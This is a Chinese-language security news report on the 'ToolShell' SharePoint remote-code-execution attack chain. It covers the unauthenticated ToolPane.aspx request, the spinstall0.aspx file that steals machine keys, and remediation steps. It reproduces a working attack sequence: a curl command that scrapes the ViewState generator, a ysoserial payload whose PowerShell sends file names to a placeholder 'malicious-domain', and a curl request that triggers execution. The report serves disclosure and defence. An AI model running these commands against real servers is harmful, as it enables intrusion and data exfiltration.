图片来源:德国 Code White 公司
2025年7月18日晚,网络安全机构Eye Security发现一起针对微软SharePoint远程代码执行(RCE)漏洞链的大规模攻击活动,该漏洞链被命名为“ToolShell”。攻击者利用CVE-2025-49704和CVE-2025-49706两个漏洞,无需认证即可完全控制本地部署的SharePoint服务器,全球多国系统已受到影响。
Eye Security强调:“此次攻击并非凭证泄露问题,而是攻击者直接利用了已被武器化的Pwn2Own漏洞利用程序。”
ToolShell漏洞链分为两个攻击步骤:
CVE-2025-49706(CVSS评分6.3):SharePoint服务器欺骗漏洞
CVE-2025-49704(CVSS评分8.8):通过ToolPane端点触发的SharePoint远程代码执行漏洞
最初研究人员认为攻击需有效凭证,但深入调查发现,攻击者完全绕过认证机制。报告指出:“向/_layouts/15/ToolPane.aspx发送POST请求的行为具有高度针对性……我们意识到凭证可能从未被使用。”
该漏洞利用基于Code White GmbH曾在Pwn2Own比赛中演示的概念验证代码,现已被武器化。攻击成功后,攻击者可植入隐蔽的ASPX恶意文件(如spinstall0.aspx),其设计目的并非直接执行命令,而是窃取服务器的加密机器密钥。
“这不是典型的网页木马……该文件通过调用.NET内部方法读取SharePoint服务器的MachineKey配置。”这些密钥(如ValidationKey和DecryptionKey)用于生成有效的__VIEWSTATE令牌——这是ASP.NET的核心安全机制。获取密钥后,攻击者能使用ysoserial等工具签署恶意载荷,实现完全远程代码执行。
# grabbing the <VIEWSTATE_GENERATOR> via any public available SharePoint page, like start.aspx
curl -s https://target/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
# example viewstate payload that can be generated
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://malicious-domain/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify
# by adding the generated token to any request, your command is executed (RCE)
curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>
报告指出:“这些载荷可嵌入任意恶意指令,并被服务器视为可信输入,最终在无需凭证的情况下完成攻击链。”
Eye Security对8000余台公开暴露的SharePoint服务器扫描后发现,已有数十台被入侵。通过分析160字节的特定响应特征及spinstall0.aspx端点,研究人员锁定了受影响系统。
截至7月19日,Palo Alto Networks旗下Unit 42团队证实攻击仍在持续,并观察到攻击者:
微软已发布紧急补丁修复漏洞。针对本地部署的SharePoint服务器,建议立即采取以下措施:
安装7月补丁星期二发布的最新版本
扫描/_layouts/15/ToolPane.aspx和/spinstall0.aspx等路径的入侵痕迹
检查密钥是否泄露,必要时重新生成
监控HTTP(S)外联连接及反向Shell活动